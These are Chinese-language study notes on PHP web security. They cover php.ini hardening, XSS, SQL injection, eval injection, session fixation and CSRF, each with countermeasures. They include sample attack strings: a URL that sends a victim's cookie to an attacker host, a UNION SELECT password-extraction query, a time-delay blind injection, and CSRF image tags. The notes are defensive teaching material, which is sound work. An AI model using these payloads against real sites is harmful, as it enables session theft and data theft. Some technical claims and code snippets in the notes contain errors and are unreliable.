PHP SECURITY
PHP 介紹
PHP(PHP:Hypertext Preprocessor)是一種在電腦上執行的腳本語(scripting programming language),主要用途在處理電腦動態網頁,一般來說php大多在client端執行,透過執行php的程式碼來產生網頁提供瀏覽器讀取,可在許多不同種的伺服器,作業系統 ,平台上執行,可和許多資料庫系統結合。
安全性
為何需要安全性?
1.php程序的運作往往與敏感數據(註一)有關
-未經授權訪問這些數據是不被允許的。
-為了預防問題的產生,安全設計是必需的。
2.Input:
狹義而言:php程式在伺服器端執行,user input有可能會被client端的java script執行,user input會成為http的request送至伺服器端
廣義而言:由server端所送出的所有request
1.User input是不可靠和不被信任
-部分資料會在Client和server端傳輸時遺失。(可靠度問題)
-資料在某些process之間會造成損壞(可靠度問題)
-使用者有可能會以意料之外的方式輸入data(可靠度問題)
-故意試圖獲取未經授權訪問或毀壞應用程序(安全性問題)
2. 未經授權驗證的user input
-Server會毀壞
-buffer overflows
-會讓機器被惡意使用者劫持
-讓hacker擁有root權限
以上原因就是為何使用者再進入應用程序前須經過驗證的原因
解決方案:Input Validation輸入驗證,永遠不能相信使用者的input
其他額外要注意的事項
1.PHP版本是否最新
PHP衍伸版本很容易出現相容性問題,所以或許無法太常更新版本,不過使用者至少也應該選離最新版本夠近的版本。另外php的版本問題也會受到運作環境下的影響。不同版本的php security support也不同
<PHP為open source大家主動維護,不會自動更新,因此需更加注意版本問題,且在設計時造成的許多問題,在版本更新時這些問題未必會被解決更新。>
2.PHP使用方式是否恰當?
php的使用方式有很多,大部分是使用Apache作為httpd,並使用 Apache模組板的PHP,值得注意的事!這時在整個伺服器上的PHP都具有相同的權限,為了應付意料之外的攻擊最好考慮加上open_basedir、safe_mode這些限制PHP行為的執行時設定。
PHP.INI Setting
- register_global = off (全域變數)
- magic_quotes_gpc = off (' => \' , " => \" , %00 => \ 0) (建議 magic_quotes_gpc = off 自己處理)
- display_error = off (在網頁上顯示錯誤訊息)
- log_error = on (紀錄錯誤訊息)
- allow_url_fopen = off (可開啟遠端網頁)
- expose_php = off (顯示PHP 版本資訊)
- open_basedir = (允許開啟的目錄)
- safe_mode = on (安全模式)
- disable_function = (禁止使用的函數)
- safe_mode_include_dir = (允許include的目錄)
但是**open_basedir、safe_mode對於防止本機使用者執行惡意程式碼(讀檔、改寫檔案)而言,是無意義的。
3.Web伺服器使用是否恰當
如果apache具有root權限,那apache模組板的php就有對所有檔案具有讀取寫入權限了。
PHP Input Data Accessing
緣起:
Php4.2.0版本以前開發人員為方便操作各種變數與網頁傳進來的值,所以就採用將所有傳進變數值及Server 端自動產生的變數值,$_X(X:變數名稱)存在於整個php程式中,定義了許多外部變數為global 範圍,這些super global variable 讓user可以方便的accesses input data
–$_GET–data from get requests.
–$_POST–post request data
–$_COOKIE–cookie information.
–$_FILES–uploaded file data.
–$_SERVER–server data
–$_ENV–environment variables
–$_REQUEST–combination of GET/POST/COOKIE
Register global:
php應用程序中最常見的漏洞來源,特點是可把GET資料當成變數。
- 每一個輸入參數都可轉變為變數 EX:

-沒有方法去定義input source
-Cookie可被GET values複寫
-所有的super-global 變數的array indexes都可拿其array變數名稱來當作變數使用
Ex:

範例:

當 register_globals = on,上述判斷式可能會有邏輯問題。 當它設成 off,$authorized 就不能經由傳遞變數來設值(所以我們應該養成替變數初始化的好習慣)在上述程式碼中,我們可以先設 $authorized = false。它可以在 register_globals = on 或 off 的情況下防堵未經授權的使用者
Defending:
1.php.ini(Disable register_global )
2.error_reporting沒有給初值的變數都會有warning
3.Type sensitive:input為字串和type sensitive和boolean 和 integer比 則不會成功
$_REQUEST可從不同的input method去 merges data
Path Validation
basename():傳回不含路徑的檔案字串。
better Path Validation:隱藏file name
Magic Quoto:PHP tries為了使你免受與攻擊,會自動避免USER INPUT中的特殊字元,.( ‘, “, \, \0 (NULL)))
input processing變慢
--需增加記憶體
get_magic_quotes_gpc:取得 PHP 環境變數 magic_quotes_gpc 的值
<取得 PHP 環境設定的變數 magic_quotes_gpc (GPC, Get/Post/Cookie) 值。傳回 0 表示關閉本功能;傳回 1 表示本功能開啟。當 magic_quotes_gpc 開啟時,所有的 ' (單引號), " (雙引號), \ (反斜線) and 空字元會自動轉為含有反斜線的溢出字元。>
Stripslashes:去掉反斜線符號

input filtering:使用者輸入的東西有惡意的需將他找出來
Filterl:用於驗證和過濾來自非安全來源的data,當資料通過filter時會使程序獲的正確的輸入類型。Ex:user input
output escaping:輸出到使用者的東西,必須是安全實用的

<可用在所有web應用>
Session:web到瀏覽器到伺服器的連結
Cross Site Scripting (XSS):跨網站腳本攻擊,是一種可威脅任何網站的應用形式,透過擷取使用者的cookie資料,讓攻擊者取得網站的管理權限,或允許惡意使用者將程式碼注入到網頁上,其他使用者在觀看網頁時就會受到影響。。
XSS攻擊方法有:
竊取 cookie 。
利用 iframe 或 frame 存取管理頁面或後台頁面。
利用 XMLHttpRequest 存取管理頁面或後台頁面。
–Can lead to embarrassment.–Session take-over.–Password theft.–User tracking by 3rdparties.
免XSS的方法主要是將使用者所提供的內容進行過濾,許多語言都有提供對HTML的過濾:
PHP的htmlentities()或是htmlspecialchars()
Htmlentities()
轉換所有字元成為HTML實體
htmlspecialchars ()
本函式將特殊字元轉成 HTML 的字串格式 ( &....; )。
& (和) 轉成 &
" (雙引號) 轉成 "
< (小於) 轉成 <
>(大於) 轉成 >
strip_tags ()
去掉html 和php的標記
十大攻擊手法

session
使用者進入你的網站後,可能有很多關於使用者的資訊,,而這些資訊可以容易的用Session記錄
Session函式庫http://home.educities.edu.tw/prettys/ec_php_session.htm
Session hijacking:即(Man In The Middle,簡稱MITM) ,攻擊者作為傳訊兩者的中間人,訊息的交換都會經過攻擊者手中,而攻擊者可以任意在訊息中參入惡意訊息。
攻擊手法及對策
XSS(跨網站指令碼)
藉由傳送特定的URL,強制讓人執行到惡意的客戶端程式碼
攻擊目標:典型的程式缺陷碼(顯示某筆資料的紀錄ID)
<?php
echo $_GET['id'];
?>
攻擊手法:將下面此超連結以e-mail等方式傳送給攻擊對象,使人誤觸
http://victim_host/index.php?id=<script>document.location='http://attacker_host/?+document.cookie;<script>'
結果:id顯示時javacsript會被執行,在victim_host上的cookie資料會藉由URI請求傳遞給attacker_host。攻擊者只要翻閱attack_host的存取紀錄,就可以得知cookie內容
對策:
1.輸出字串以前,以htmlspecialchars(var,ENT_QUOTES)消毒過
htmlspecialchars($_GET['message',ENY_QUOTES]);
2.收到請求變數時,就應配合型別作是當的轉換。例如字串可以採用刪除危險文字的黑名單法,或只放行安全文字的白名單法。
Script Insertion()客戶端指令碼植入攻擊)
將JavaScript指令碼植入網站內容,讓第三者顯示、執行的攻擊
攻擊目標:
典型的缺陷情形
- 將以RSS/ATOM取得的標題資訊皆顯示在瀏覽器上
- 允許上傳圖片之類的檔案,而將檔案的MINE_Type輸出在者三者瀏覽器畫面
- 允許上傳圖片之類的檔案,而將圖片的EXIF輸出在第三者瀏覽器畫面上
- 允許連結或上傳Flash file,而該Flash可能會再第三的browser顯示
- 允許$_SERVER['HTTP_REFERER']之類的SERVER var(來源資訊等)輸出在第三者瀏覽器畫面上
- 允許不特定多數人投稿,且在第三者瀏覽器畫面上輸出這些投稿,儲存的資料時沒有交過消毒
攻擊手法:
- 對RSS讀取來源網送出包含JavaScript的投稿(該網站無防範時)
- 用改過的瀏覽器或telnet等方式,在post資料的Content-Type:植入JavaScript
- 將JavaScript寫入圖片的EXIF資料後投稿
- 在swf檔案裡植入JavaScript以後投稿或張貼網址
- 用改過的瀏覽器或telnet等方式,在來源資料裡寫入JavaScript後瀏覽網也(當網頁會公開顯示來源資訊時)
- 投稿包含JavaScript的文字內容
結果:管理者或第三者的cookie資料有可能被竊取,或是藉由JavaScript讓人自動張貼資訊,作為CDRF的前置攻擊
對策:
1.輸出字串以前,以htmlspecialchars(var,ENT_QUOTES)消毒過
針對第1項的範例 echo htmlspecialchars($rss_data['description'],ENT_QUOTES)
針對第2項的範例 echo htmlspecialchars($file['ypr'],ENT_QUOTES)
針對第3項的範例 $exif_data=exif_read_data($filename);
echo htmlspecialchars($exif_data['model'],ENT_QUOTES)
針對第5項的範例 echo htmlspecialchars($log[$1]['HTTP_REFERER'],ENT_QUOTES)
針對第6項的範例 echo htmlspecialchars($row['title'],ENT_QUOTES)
2.接受外部資料時的轉換
對於事前知道是數值型別才正確的變數,就應該在接受外部資料的時候,直接強制轉成數值
SQL Injection
奪取對資料進行查詢的動作,以便用來竊取密碼,串改資料
攻擊目標:
典型的缺陷情形(顯示出id所指定之留言的作者暱稱)
<?php
$result=mysql_query("SELECT name FROM bbs WHERE id='"$_GET['id']."'" ,$conn);
echo htmlspecialchars(mysql_result($result,0,0,),ENT_QUOTES);
?>
判斷
攻擊



攻擊手法:以下面這行URL存取攻擊目標的網站
http://victim_host/index.php?id' UNION SELECT pass FROM bbs WHERE id=a ORDER BY 1 DESC/*
則實際送出的sql竟包含密碼
對策:產生查詢敘述時跳脫
在產生SQL敘述前,先跳脫'與"這些特殊符號$post_body4sql=addslashes($post_body);
mysql_query("INSERT INTO bbs SET post_body=&post_body4sql',$conn");
Blind SQL注入問題
相較於一般SQL注入攻擊,
Blind的作法是去注入執行delay或bechmark的SQL指令(如";waitfor+delay+'0:0:3'--"),
判斷true & false的反應時間來猜測有無漏洞。
故在GET Request部份加強過濾即可(如"wait" & "delay" & "--")。

eval 盜用攻擊
攻擊目標:典型的缺陷程式碼(對HTML標籤之外的部分,將$_GET['highlight'])所指定的文字標成粗體
<?php
if(!empity($_GET['highlight'])){
$text=substr(preg_replace('/\>.*\</esU',"str_replace('".$_GET['highlighr']."'<b>",'$_GET[highlight]."</b>,'\\0",".$text<"),1,-1);}?>
攻擊手法:以下列這行URI存取攻擊網站目標
http://victim_host/index.php?highlight=a','a',phpinfo();
結果
str_replace('a','a',phpinfo());//,<b>......)
成功顯示phpinfo();
對策:
1.白名單法
2.改用pre_replace_callback()
不要使用preg_replace()的修飾法,而改用preg_replace_calback()
3.回呼函式白名單法
Session 劫持
強制讓人使用已知的seession鍵,或盜取現存的未知session鍵,藉以挾持他人的seession進行攻擊
<?php session_stret(); ?>
攻擊手法
設法以任何方式讓網站管理者或網站其他顧客採到下面這個連結。PHPESSID的部分可以配合需要改成自目標網站使用的seesion名稱
<a href='http://victim_host/index.php?
PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'>
結果
踩到連結對方與目標網站之間尚未確立seession()則session建會變成功擊者所指定的值
對策:
1.更改session設定
2.檢查IP位址
3.定期改變seesion鍵
CSRF (跨網站請求偽造)
攻擊目標:
典型的缺陷程式碼:"管理者"只要點選連結就可以刪除文章
<?php
if($user->isAdmin() && $_GET['delete_ok'] == 1 ){
mysql_query("DELECT FROM bbs WHERE id=".intval($_GET['id']), $conn);
}
?>
攻擊手法:
使用webmail 等方法,讓"管理者"的瀏覽器讀到下面的HTML
<img src = "http://victim_host/index.php?id = 1&delete_ok=1"/>
<img src = "http://victim_host/index.php?id = 2&delete_ok=1"/>
<img src = "http://victim_host/index.php?id = 3&delete_ok=1"/>
.
結果:
"管理者"的瀏覽器處理到<img>標籤時,就會發生下述HTTP存取
http://victim_host/index.php?id=1&delete_ok=1
http://victim_host/index.php?id=2&delete_ok=1
http://victim_host/index.php?id=3&delete_ok=1
...
於送出這些請求的是有全縣的管理者,所以可通過權限檢查,指定的文章全部被刪除
CSRF對策方法
對策1 檢查來源法
收到瀏覽器來源頁面(referer),若不是來自站內就檔掉動作
優點
實作簡單不用session
缺點
不送出來源的瀏覽器會無法操作
當表單內有XSS漏洞時就無效了
對策2 門票法
顯示表單的時候,建立出門票的票根,將門票以hidden欄位隱藏在表單裡,而票根則存在session裡。實際進行POST時,
先確認POST的門票與票根是否一致,再清除票根。
優點
不會送出來源的瀏覽器也可以使用
缺點
實作起來有點麻煩(不過比session傳遞法輕鬆)
需要用到session
表單或網站有任何一處XSS漏洞時,門票還是可能被竊取
對策3 POST使用法
重大的操作一定要使用POST來確認,不要使用GET。處理變數時也不該使用$_REQUEST
優點
實作簡單
缺點
使用javascript等方法,還是可以自動POST。並不是本質上的對策,充其量只是輔助措施
本筆記之攻擊手法及對策皆擷取自-網頁程式駭客攻防實戰 以php為例GIJOE著
有興趣的同學可自行觀看
註一:『敏感數據』(sensitive data)的定義大致可歸類為「獨特、不能隨意改變,擁有授權能力的個人資料,例如DNA排序、指紋、身份證和職員號碼等,都普遍被用作授權碼(authorization code)。」授權碼就是一些具批核能力、授予通達權的個人資料。